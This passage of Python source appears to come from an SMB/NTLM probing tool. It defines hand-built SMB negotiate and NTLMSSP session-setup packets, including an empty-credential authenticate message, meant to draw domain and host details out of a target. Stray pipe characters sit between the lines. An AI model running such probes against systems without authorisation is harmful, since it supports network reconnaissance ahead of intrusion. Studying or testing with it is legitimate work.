|
("Data","\x60\x48\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x3e\x30\x3c\xa0\x0e\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a\xa2\x2a\x04\x28\x4e\x54\x4c\x4d\x53\x53\x50\x00\x01\x00\x00\x00\x07\x82\x08\xa2\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x01\x28\x0a\x00\x00\x00\x0f\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x53\x00\x65\x00\x72\x00\x76\x00\x69\x00\x63\x00\x65\x00\x20\x00\x50\x00\x61\x00\x63\x00\x6b\x00\x20\x00\x33\x00\x20\x00\x32\x00\x36\x00\x30\x00\x30\x00\x00\x00\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x32\x00\x20\x00\x35\x00\x2e\x00\x31\x00\x00\x00\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
##Now Lanman
|
||||||
|
class SMBHeaderLanMan(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("proto", "\xff\x53\x4d\x42"),
|
||||||
|
("cmd", "\x72"),
|
||||||
|
("error-code", "\x00\x00\x00\x00" ),
|
||||||
|
("flag1", "\x08"),
|
||||||
|
("flag2", "\x01\xc8"),
|
||||||
|
("pidhigh", "\x00\x00"),
|
||||||
|
("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
|
||||||
|
("reserved", "\x00\x00"),
|
||||||
|
("tid", "\x00\x00"),
|
||||||
|
("pid", "\x3c\x1b"),
|
||||||
|
("uid", "\x00\x00"),
|
||||||
|
("mid", "\x00\x00"),
|
||||||
|
])
|
||||||
|
|
||||||
|
#We grab the domain and hostname from the negotiate protocol answer, since it is in a Lanman dialect format.
|
||||||
|
class SMBNegoDataLanMan(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("Wordcount", "\x00"),
|
||||||
|
("Bcc", "\x0c\x00"),#hardcoded len here and hardcoded packet below, no calculation, faster.
|
||||||
|
("BuffType","\x02"),
|
||||||
|
("Dialect", "NT LM 0.12\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
class SMBSessionData(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00" ),
|
||||||
|
("andxoffset", "\xec\x00"),
|
||||||
|
("maxbuff","\x04\x11"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x00\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x4a\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xd4\x00\x00\xa0"),
|
||||||
|
("bcc1","\xb1\x00"),
|
||||||
|
("ApplicationHeaderTag","\x60"),
|
||||||
|
("ApplicationHeaderLen","\x48"),
|
||||||
|
("AsnSecMechType","\x06"),
|
||||||
|
("AsnSecMechLen","\x06"),
|
||||||
|
("AsnSecMechStr","\x2b\x06\x01\x05\x05\x02"),
|
||||||
|
("ChoosedTag","\xa0"),
|
||||||
|
("ChoosedTagStrLen","\x3e"),
|
||||||
|
("NegTokenInitSeqHeadTag","\x30"),
|
||||||
|
("NegTokenInitSeqHeadLen","\x3c"),
|
||||||
|
("NegTokenInitSeqHeadTag1","\xA0"),
|
||||||
|
("NegTokenInitSeqHeadLen1","\x0e"),
|
||||||
|
("NegTokenInitSeqNLMPTag","\x30"),
|
||||||
|
("NegTokenInitSeqNLMPLen","\x0c"),
|
||||||
|
("NegTokenInitSeqNLMPTag1","\x06"),
|
||||||
|
("NegTokenInitSeqNLMPTag1Len","\x0a"),
|
||||||
|
("NegTokenInitSeqNLMPTag1Str","\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"),
|
||||||
|
("NegTokenInitSeqNLMPTag2","\xa2"),
|
||||||
|
("NegTokenInitSeqNLMPTag2Len","\x2a"),
|
||||||
|
("NegTokenInitSeqNLMPTag2Octet","\x04"),
|
||||||
|
("NegTokenInitSeqNLMPTag2OctetLen","\x28"),
|
||||||
|
("NegTokenInitSeqMechSignature","\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageType","\x01\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageFlags","\x07\x82\x08\xa2"),
|
||||||
|
("NegTokenInitSeqMechMessageDomainNameLen","\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageDomainNameMaxLen","\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageDomainNameBuffOffset","\x00\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageWorkstationNameLen","\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageWorkstationNameMaxLen","\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageWorkstationNameBuffOffset","\x00\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionLow","\x01"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionTerminator","\x00"),
|
||||||
|
("nativeOs","Windows 2002 Service Pack 3 2600".encode('utf-16le')),
|
||||||
|
("nativeOsterminator","\x00\x00"),
|
||||||
|
("nativelan","Windows 2002 5.1".encode('utf-16le')),
|
||||||
|
("nativelanterminator","\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
data1 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
data2 = str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
data3 = str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
data4 = str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
data5 = str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||||
|
|
||||||
|
data6 = str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
data7 = str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])
|
||||||
|
|
||||||
|
data9 = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["AsnSecMechStr"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagStrLen"])+str(self.fields["NegTokenInitSeqHeadTag"])+str(self.fields["NegTokenInitSeqHeadLen"])+str(self.fields["NegTokenInitSeqHeadTag1"])+str(self.fields["NegTokenInitSeqHeadLen1"])+str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])+str(self.fields["NegTokenInitSeqNLMPTag2"])+str(self.fields["NegTokenInitSeqNLMPTag2Len"])+str(self.fields["NegTokenInitSeqNLMPTag2Octet"])+str(self.fields["NegTokenInitSeqNLMPTag2OctetLen"])+str(self.fields["NegTokenInitSeqMechSignature"])+str(self.fields["NegTokenInitSeqMechMessageType"])+str(self.fields["NegTokenInitSeqMechMessageFlags"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageDomainNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameMaxLen"])+str(self.fields["NegTokenInitSeqMechMessageWorkstationNameBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NegTokenInitSeqMechMessageVersionTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||||
|
|
||||||
|
data10 = str(self.fields["NegTokenInitSeqNLMPTag"])+str(self.fields["NegTokenInitSeqNLMPLen"])+str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||||
|
|
||||||
|
data11 = str(self.fields["NegTokenInitSeqNLMPTag1"])+str(self.fields["NegTokenInitSeqNLMPTag1Len"])+str(self.fields["NegTokenInitSeqNLMPTag1Str"])
|
||||||
|
|
||||||
|
## Packet len
|
||||||
|
self.fields["andxoffset"] = struct.pack("<H", len(data9)+32)
|
||||||
|
##Buff Len
|
||||||
|
self.fields["securitybloblength"] = struct.pack("<H", len(data1))
|
||||||
|
##Complete Buff Len
|
||||||
|
self.fields["bcc1"] = struct.pack("<H", len(data5))
|
||||||
|
##App Header
|
||||||
|
self.fields["ApplicationHeaderLen"] = struct.pack("<B", len(data2))
|
||||||
|
##Asn Field 1
|
||||||
|
self.fields["AsnSecMechLen"] = struct.pack("<B", len(str(self.fields["AsnSecMechStr"])))
|
||||||
|
##Asn Field 1
|
||||||
|
self.fields["ChoosedTagStrLen"] = struct.pack("<B", len(data3))
|
||||||
|
##SpNegoTokenLen
|
||||||
|
self.fields["NegTokenInitSeqHeadLen"] = struct.pack("<B", len(data4))
|
||||||
|
##NegoTokenInit
|
||||||
|
self.fields["NegTokenInitSeqHeadLen1"] = struct.pack("<B", len(data10))
|
||||||
|
## Tag0 Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPLen"] = struct.pack("<B", len(data11))
|
||||||
|
## Tag0 Str Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPTag1Len"] = struct.pack("<B", len(str(self.fields["NegTokenInitSeqNLMPTag1Str"])))
|
||||||
|
## Tag2 Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPTag2Len"] = struct.pack("<B", len(data6))
|
||||||
|
## Tag3 Len
|
||||||
|
self.fields["NegTokenInitSeqNLMPTag2OctetLen"] = struct.pack("<B", len(data7))
|
||||||
|
|
||||||
|
|
||||||
|
#########################################################################################################
|
||||||
|
class SMBSession2(Packet):
|
||||||
|
fields = OrderedDict([
|
||||||
|
("wordcount", "\x0c"),
|
||||||
|
("AndXCommand", "\xff"),
|
||||||
|
("reserved","\x00"),
|
||||||
|
("andxoffset", "\xfa\x00"),
|
||||||
|
("maxbuff","\x04\x11"),
|
||||||
|
("maxmpx", "\x32\x00"),
|
||||||
|
("vcnum","\x01\x00"),
|
||||||
|
("sessionkey", "\x00\x00\x00\x00"),
|
||||||
|
("securitybloblength","\x59\x00"),
|
||||||
|
("reserved2","\x00\x00\x00\x00"),
|
||||||
|
("capabilities", "\xd4\x00\x00\xa0"),
|
||||||
|
("bcc1","\xbf\x00"),
|
||||||
|
("ApplicationHeaderTag","\xa1"),
|
||||||
|
("ApplicationHeaderLen","\x57"),
|
||||||
|
("AsnSecMechType","\x30"),
|
||||||
|
("AsnSecMechLen","\x55"),
|
||||||
|
("ChoosedTag","\xa2"),
|
||||||
|
("ChoosedTagLen","\x53"),
|
||||||
|
("ChoosedTag1","\x04"),
|
||||||
|
("ChoosedTag1StrLen","\x51"),
|
||||||
|
("NLMPAuthMsgSignature", "\x4E\x54\x4c\x4d\x53\x53\x50\x00"),
|
||||||
|
("NLMPAuthMsgMessageType","\x03\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgLMChallengeLen","\x01\x00"),
|
||||||
|
("NLMPAuthMsgLMChallengeMaxLen","\x01\x00"),
|
||||||
|
("NLMPAuthMsgLMChallengeBuffOffset","\x50\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtChallengeResponseLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtChallengeResponseMaxLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtChallengeResponseBuffOffset","\x51\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtDomainNameLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtDomainNameMaxLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtDomainNameBuffOffset","\x48\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtUserNameLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtUserNameMaxLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtUserNameBuffOffset","\x48\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtWorkstationLen","\x08\x00"),
|
||||||
|
("NLMPAuthMsgNtWorkstationMaxLen","\x08\x00"),
|
||||||
|
("NLMPAuthMsgNtWorkstationBuffOffset","\x48\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgRandomSessionKeyMessageLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgRandomSessionKeyMessageMaxLen","\x00\x00"),
|
||||||
|
("NLMPAuthMsgRandomSessionKeyMessageBuffOffset","\x55\x00\x00\x00"),
|
||||||
|
("NLMPAuthMsgNtNegotiateFlags","\x05\x8A\x88\xa2"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionHigh","\x05"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionLow","\x01"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionBuilt","\x28\x0a"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"),
|
||||||
|
("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"),
|
||||||
|
("NLMPAuthMsgNtDomainName",""),
|
||||||
|
("NLMPAuthMsgNtUserName",""),
|
||||||
|
("NLMPAuthMsgNtWorkstationName",""),
|
||||||
|
("NLMPAuthLMChallengeStr", "\x00"),
|
||||||
|
("NLMPAuthMsgNTLMV1ChallengeResponseStruct",""),
|
||||||
|
("NLMPAuthMsgNTerminator",""),
|
||||||
|
("nativeOs","Windows 2002 Service Pack 3 2600"),
|
||||||
|
("nativeOsterminator","\x00\x00"),
|
||||||
|
("nativelan","Windows 2002 5.1"),
|
||||||
|
("nativelanterminator","\x00\x00\x00\x00"),
|
||||||
|
|
||||||
|
])
|
||||||
|
|
||||||
|
def calculate(self):
|
||||||
|
|
||||||
|
self.fields["NLMPAuthMsgNtUserName"] = self.fields["NLMPAuthMsgNtUserName"].encode('utf-16le')
|
||||||
|
self.fields["NLMPAuthMsgNtDomainName"] = self.fields["NLMPAuthMsgNtDomainName"].encode('utf-16le')
|
||||||
|
self.fields["NLMPAuthMsgNtWorkstationName"] = self.fields["NLMPAuthMsgNtWorkstationName"].encode('utf-16le')
|
||||||
|
|
||||||
|
self.fields["nativeOs"] = self.fields["nativeOs"].encode('utf-16le')
|
||||||
|
self.fields["nativelan"] = self.fields["nativelan"].encode('utf-16le')
|
||||||
|
|
||||||
|
CompletePacketLen = str(self.fields["wordcount"])+str(self.fields["AndXCommand"])+str(self.fields["reserved"])+str(self.fields["andxoffset"])+str(self.fields["maxbuff"])+str(self.fields["maxmpx"])+str(self.fields["vcnum"])+str(self.fields["sessionkey"])+str(self.fields["securitybloblength"])+str(self.fields["reserved2"])+str(self.fields["capabilities"])+str(self.fields["bcc1"])+str(self.fields["ApplicationHeaderTag"])+str(self.fields["ApplicationHeaderLen"])+str(self.fields["AsnSecMechType"])+str(self.fields["AsnSecMechLen"])+str(self.fields["ChoosedTag"])+str(self.fields["ChoosedTagLen"])+str(self.fields["ChoosedTag1"])+str(self.fields["ChoosedTag1StrLen"])+str(self.fields["NLMPAuthMsgSignature"])+str(self.fields["NLMPAuthMsgMessageType"])+str(self.fields["NLMPAuthMsgLMChallengeLen"])+str(self.fields["NLMPAuthMsgLMChallengeMaxLen"])+str(self.fields["NLMPAuthMsgLMChallengeBuffOffset"])+str(self.fields["NLMPAuthMsgNtChallengeResponseLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseMaxLen"])+str(self.fields["NLMPAuthMsgNtChallengeResponseBuffOffset"])+str(self.fields["NLMPAuthMsgNtDomainNameLen"])+str(self.fields["NLMPAuthMsgNtDomainNameMaxLen"])+str(self.fields["NLMPAuthMsgNtDomainNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtUserNameLen"])+str(self.fields["NLMPAuthMsgNtUserNameMaxLen"])+str(self.fields["NLMPAuthMsgNtUserNameBuffOffset"])+str(self.fields["NLMPAuthMsgNtWorkstationLen"])+str(self.fields["NLMPAuthMsgNtWorkstationMaxLen"])+str(self.fields["NLMPAuthMsgNtWorkstationBuffOffset"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageMaxLen"])+str(self.fields["NLMPAuthMsgRandomSessionKeyMessageBuffOffset"])+str(self.fields["NLMPAuthMsgNtNegotiateFlags"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NLMPAuthMsgNtDomainName"])+str(self.fields["NLMPAuthMsgNtUserName"])+str(self.fields["NLMPAuthMsgNtWorkstationName"])+str(self.fields["NLMPAuthLMChallengeStr"])+str(self.fields["NLMPAuthMsgNTLMV1ChallengeResponseStruct"])+str(self.fields["NLMPAuthMsgNTerminator"])+str(self.fields["nativeOs"])+str(self.fields["nativeOsterminator"])+str(self.fields["nativelan"])+str(self.fields["nativelanterminator"])
|
||||||
|
|
||||||
|
